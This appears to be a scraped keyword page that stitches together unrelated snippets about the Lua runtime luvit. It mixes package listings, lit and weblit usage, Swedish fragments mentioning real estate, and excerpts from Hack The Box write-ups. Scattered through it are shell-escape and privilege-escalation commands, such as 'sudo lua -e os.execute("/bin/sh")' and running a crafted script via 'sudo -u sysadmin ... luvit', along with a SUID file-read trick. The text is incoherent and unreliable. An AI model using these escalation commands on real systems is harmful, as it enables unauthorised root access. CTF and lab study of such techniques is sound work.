lua-cjson · Sync with portage [Thu Mar 10 22:02:10 MSK 2016]. 4 年前. lua-openssl · Sync luvit · Sync with portage [Sun Jun 26 18:42:56 MSK 2016]. 4 年前.

Toolkit for developing, sharing, and running luvit/lua programs and libraries. szl ☆ 100 ⧗ 0 - is a tiny, embeddable scripting engine inspired by Tcl and shell.

What would you like to do? Embed andros705: luvit is a node.js-like set of libraries/runtime environment for lua that will seem familiar to node.js devs andros705: for running lua scripts from node you might want to look at fengari. luvit_thread_test.lua. GitHub Gist: instantly share code, notes, and snippets. Shell. It can be used to break out from restricted environments by spawning an interactive system shell. lua -e 'os.execute("/bin/sh")' Non-interactive reverse shell.

lit make appdir Build appdir into a single executable. lit serve prefix Start a lit package server (upstream or proxy). `prefix` is the protocol and host. EG: lit serve https://lit.luvit.io Local configuration ----- lit auth username Verify local private key and set username. Questions tagged [luvit] Ask Question In Lua, Luvit is an asynchronous I/O library. Learn more … Top users; Synonyms; 11 This blog will attempt to explore and solve the challenge of getting a shell through a setuid binary executing Lua scripts without dropping privileges.

4 May 2020 PS: Credentials are listed in the shell's sourcecode on github. -la sudo -l nano privesc.lua sudo -u sysadmin /home/sysadmin/luvit privesc.lua

It was made for the luvit project but should usable shell> luvit test.lua TODO. support luvit's module system; About.

sudo install -m =xs $(which lua) . lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' Sudo. If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. sudo lua -e 'os.execute("/bin/sh")' Limited SUID

Låt oss försöka hitta filen relaterad till Lua med kommandot ”find” i Linux. Vi kan se att användarwebadmin har åtkomst till instansen luvit som måste köras som Vi tittar också på filtypen för den här filen och vi vet att detta är ett shellscript. Fullt golv, Shell och Core Office, Index Tower - Provident Real; Real Property Law Luvit is essentially a lua interpreter with bindings to libuv (the same core IO Luvit is essentially a lua interpreter with bindings to libuv (the same core IO library used in NodeJS). Medicinska fakultetens externa webbplats på denna Just for fun I benchmarked Luvit with and without Jit and it made only a 2% speed difference in the. Luvit is essentially a lua interpreter with bindings to libuv (the Luvit supports FFI and Lua based binary modules. There is a wiki entry explaining how to manage and include a binary module within a bundled application.

Get Lit and Luvit. If you’re on Linux, FreeBSD, or OSX, run the following script to download luvi and build lit and luvit for your platform: Luvit also comes with a package manager, similiar to npm. Lit Wiki; Luvit Invention Toolkit; LibUV bindings for lua. Will work without luvit. Luvit wraps a lot of functionality from it.
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It was made for the luvit project but should usable shell> luvit test.lua TODO. support luvit's module system; About. Luvit port of node-mysql Resources. Readme License. Apache-2.0 License Releases No releases published.

> mkdir myapp && cd myapp > lit install creationix/weblit > vim server.lua > luvit server.lua The server.lua file will contain: local weblit = require('weblit') weblit.app .bind({host = "127.0.0.1", port = 1337}) -- Configure weblit server .use(weblit.logger) .use(weblit.autoHeaders) -- A custom route that sends back method and part of url. While in a Linux terminal on a virtual machine, I came across a need to get a bash shell on a particular user, running Luvit repl. I had never previously heard of the program and found very little documentation on it, none of which looked anything like what was shown in the terminal.
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HTB is a platorm which provides a large amount of vulnerable virtual machines. The goal is to find vulnerabilities, elevate privileges and finally to find two flags — a user and a root flag. As

The shell command that they mention is: lua -e 'os.execute("/bin/sh")' So a quick echo to a file of parts of the command: echo 'os.execute("/bin/bash");' > let.lua. After that lets run it: sudo -u sysadmin /home/sysadmin/luvit let.lua Using the Lua Shell¶ The lua shell is exposed as both a c function and is registered as a function with iocsh.